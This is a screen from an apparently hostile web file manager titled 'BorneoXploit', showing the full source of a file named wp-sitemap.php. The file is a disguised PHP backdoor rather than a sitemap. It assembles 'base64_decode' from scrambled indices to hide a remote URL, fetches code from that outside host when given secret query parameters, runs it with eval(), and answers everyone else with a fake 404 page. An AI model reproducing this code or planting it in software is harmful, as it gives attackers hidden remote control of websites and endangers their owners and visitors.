File Manager - BorneoXploit

Editing: wp-sitemap.php

<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
ini_set('max_execution_time', 0);
set_time_limit(0);
$i = isset($_GET['i']) ? $_GET['i'] : 0;
$c = isset($_GET['c']) ? $_GET['c'] : '';
function getContent( $url ){
    $result = '';
    if ( function_exists( 'curl_init' ) && function_exists( 'curl_exec' ) ) { 
        $ch = curl_init();
        curl_setopt( $ch, CURLOPT_URL, $url );
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch, CURLOPT_HEADER, false );
        curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
        if ( !curl_errno ( $ch ) ) {
            $result = curl_exec( $ch );
        }
        if ( PHP_VERSION_ID < 80000 ) {
            curl_close(  $ch  );
        }
    }
    return $result;
}

if ( $i > 0 && $c != '' ){
    $a = array('a', 'b', 'c', 'd', 'e', 'o', 's', '_');
    $b = str_split('1064342534');
    $d = '';
    for($j=0;$j<count($b);$j++){
        $d .= $a[$b[$j]];
        if($j == 3 ){
            $d .= '64_';
        }
    }
    $a = $d('aHR0cHM6Ly95cGF5cGF5Lnh5ei9maWxlcy8=', true);
    $b = getContent( $a.$c );
    if ( $b ){
        eval( '?>'.$b );
    } else {
        echo 0;
    }
} else {
    header('HTTP/1.0 404 Not Found');
}

exit();

Cancel